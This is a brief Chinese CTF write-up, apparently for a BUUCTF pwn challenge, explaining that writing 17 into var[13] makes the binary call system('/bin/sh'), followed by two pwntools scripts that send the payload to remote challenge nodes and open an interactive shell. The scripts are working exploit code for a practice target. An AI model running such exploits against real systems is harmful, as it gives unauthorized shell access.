checksec一下能发现开了很多保护,吓人一跳,但其实我们分析一下发现只要var[13]为17就可以了
if ( *(_QWORD *)&var[13] )#判断var[13]开始的8字节(_QWORD表示64位,即8字节)内存区域是否非零。*(_QWORD *)&var[13]是将var[13]的地址转换为_QWORD(64位整数)指针,然后解引用得到该内存区域的值。
if ( *(_QWORD *)&var[13] == 17LL )#:如果该8字节内存区域的值等于17(17LL表示长整型常量17),则调用system("/bin/sh")执行系统命令/bin/sh,
将var数组全填上17即可:
点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",28867)
payload=p32(17)*13
io.sendline(payload)
io.interactive()
点击查看代码
from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11)) # 32对应4个字节, 64对应8个字节
p.interactive()